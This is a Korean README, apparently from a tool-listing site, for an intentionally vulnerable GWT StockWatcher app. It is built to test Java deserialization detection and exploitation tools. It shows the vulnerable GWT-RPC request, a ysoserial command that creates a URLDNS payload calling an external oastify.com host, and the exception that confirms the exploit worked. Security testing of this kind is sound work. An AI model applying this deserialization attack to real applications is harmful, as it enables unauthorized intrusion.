
의도적으로 취약하게 만든 GWT 기반 웹 애플리케이션으로, 도구와 기법을 테스트하기 위한 것입니다.
이것은 GWT 시작 가이드에 설명된 StockWatcher 예제 애플리케이션의 버전으로, GWT의 "enhanced classes" 기능을 사용하도록 수정되어 Java 역직렬화 공격에 취약합니다. 이 애플리케이션은 탐지 및 익스플로잇 도구를 테스트하는 용도로만 사용해야 합니다. Enhanced classes는 실제 GWT 기반 애플리케이션에서 흔히 사용되지만, 이 예제가 공개되기 전까지는 보안 전문가들이 자신의 도구와 절차를 검증하는 데 사용할 수 있는 오픈 소스 웹 애플리케이션을 쉽게 찾을 수 없었습니다.
웹 애플리케이션을 실행하려면 다음 도구가 설치된 Linux 시스템이 필요합니다:
openjdk-11-jre 패키지를 설치합니다.ant (배포판의 패키지 관리자를 사용해 설치)이 애플리케이션은 GitHub 소스 제어에 직접 포함하기에는 너무 큰 여러 JAR 파일이 필요하므로, 시작하는 가장 쉬운 방법은 릴리스 페이지에서 최신 패키지를 다운로드하여 압축을 푸는 것입니다.
릴리스 패키지의 압축을 풀었으면 build.xml에서 다음 줄을 편집하여 /home/user/GWT/gwt-2.10.0을 자신의 GWT SDK 디렉터리로 바꾸십시오:
소스 코드 디렉터리에서 다음 명령을 실행합니다:
ant build
ant devmode
그러면 취약한 웹 애플리케이션이 실행되고 http://127.0.0.1:8888/StockWatcher.html에서 접근할 수 있게 됩니다.
로컬 서비스로의 트래픽을 포워딩하여 원격에서 접근할 수 있게 하려면 8888 포트 외에도 9876 포트를 포워딩해야 합니다.
이 저장소를 클론하고 릴리스를 다운로드하지 않고 애플리케이션을 실행하려면, 클론한 후 다음 서드파티 JAR 파일을 다운로드하여 lib 디렉터리에 추가해야 합니다:
또한 GWT 디렉터리(예: gwt-2.10.0/)에서 다음 GWT JAR 파일을 이 취약한 애플리케이션의 lib 디렉터리로 복사해야 합니다:
gwt-dev.jargwt-servlet.jargwt-user.jarvalidation-api-1.0.0.GA.jarvalidation-api-1.0.0.GA-sources.jar해당 JAR 파일을 모두 복사한 후, 위의 빠른 시작 섹션에 있는 나머지 단계를 수행합니다.
중간자 프록시(예: Burp Suite)를 통해 연결하도록 구성된 웹 브라우저로 http://127.0.0.1:8888/StockWatcher.html URL을 엽니다.
페이지는 처음에 "compiling" 메시지를 표시합니다. 다음 기본 양식이 표시될 때까지 기다립니다:
![[ 주식 심볼을 추가하는 필드를 표시하는 StockWatcher 웹 앱 ]](https://assets.kitploit.com/production/public/readmes/44640/58a69441d4dae3813a3b669e29072a70ee57947002bc10ec2f43528a4da05f41.png)
필드에 BFOX와 같은 짧은 문자열을 입력한 다음 Add 버튼을 클릭합니다. 페이지는 시뮬레이션된 주식 심볼에 대한 무작위 업데이트를 표시하기 시작합니다:
![[ BFOX 심볼에 대한 시뮬레이션 가격 데이터를 표시하는 StockWatcher 웹 앱 ]](https://assets.kitploit.com/production/public/readmes/44640/96dc586ced187bf93b3a75731af43ea541cbb7bf67981be3a5299b2a01b59bd2.png)
여러분의 중간자 프록시 기록에서 브라우저가 이제 http://127.0.0.1:8888/stockwatcher/checkCustomClass1로 다음과 유사한 POST 요청을 반복적으로 전송하고 있음을 확인할 수 있습니다:
POST /stockwatcher/checkCustomClass1 HTTP/1.1
Host: 127.0.0.1:8888
...omitted for brevity...
7|0|10|http://127.0.0.1:8888/stockwatcher/|259823D3B8B1029302496D0C7E009509|com.google.gwt.sample.stockwatcher.client.CheckCustomClassService|checkCustomClass1|com.google.gwt.sample.stockwatcher.client.CustomClass1/1972642674|rO0ABXcEAAAAAA==|com.google.gwt.sample.stockwatcher.client.CustomClass2/69504871|java.sql.Date/730999118|string1 value: 12345|string2 value: 98765|1|2|3|4|1|5|5|6|7|6|0|0|8|P___i17vzAA|0|9|10|
요청에서 Base64로 인코딩된 바이너리 데이터 rO0ABXcEAAAAAA==는 취약한 주입 지점입니다. 웹 애플리케이션을 익스플로잇하려면 교체용 페이로드를 생성해야 합니다. 예를 들어, Bishop Fox가 맞춤 수정한 ysoserial 버전을 사용하여 URLDNS 페이로드를 생성하려면 다음 명령을 실행할 수 있습니다:
$ java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar \
--gwt bishopfox \
URLDNS "https://dvc5ng8w4odw47m0a8qk45hdv41vpndc.oastify.com/URLDNS" \
| base64 -w0 | sed 's/+/\$/g' | sed 's./._.g' > gwt_urldns.bin.gwt_b64
생성한 페이로드로 rO0ABXcEAAAAAA==를 대체한 수정된 요청을 보내면 취약한 애플리케이션은 이를 역직렬화하여 트리거해야 합니다. 페이로드가 유발하는 모든 동작 외에도, 값이 역직렬화된 경우 응답에는 필드 이름과 관련된 NoSuchFieldException이 포함되어야 합니다. 예를 들어 위 예제의 bishopfox 이름을 사용한 경우 다음과 같습니다:
HTTP/1.1 200 OK
Connection: close
...omitted for brevity...
//EX[2,1,["com.google.gwt.user.client.rpc.IncompatibleRemoteServiceException/3936916533","java.lang.NoSuchFieldException: bishopfox"],0,7]
사전 빌드된 취약한 웹 애플리케이션 릴리스를 사용했거나 위에서 언급한 모든 JAR을 사용자 지정 빌드에 수동으로 추가했다면, (최소한) 웹 애플리케이션에 대해 다음 페이로드를 사용할 수 있어야 합니다:
이 글을 작성하는 시점에 ysoserial의 메인라인 버전은 GWT 형식 출력을 지원하지 않았으므로 반드시 커스텀 포크를 사용하십시오.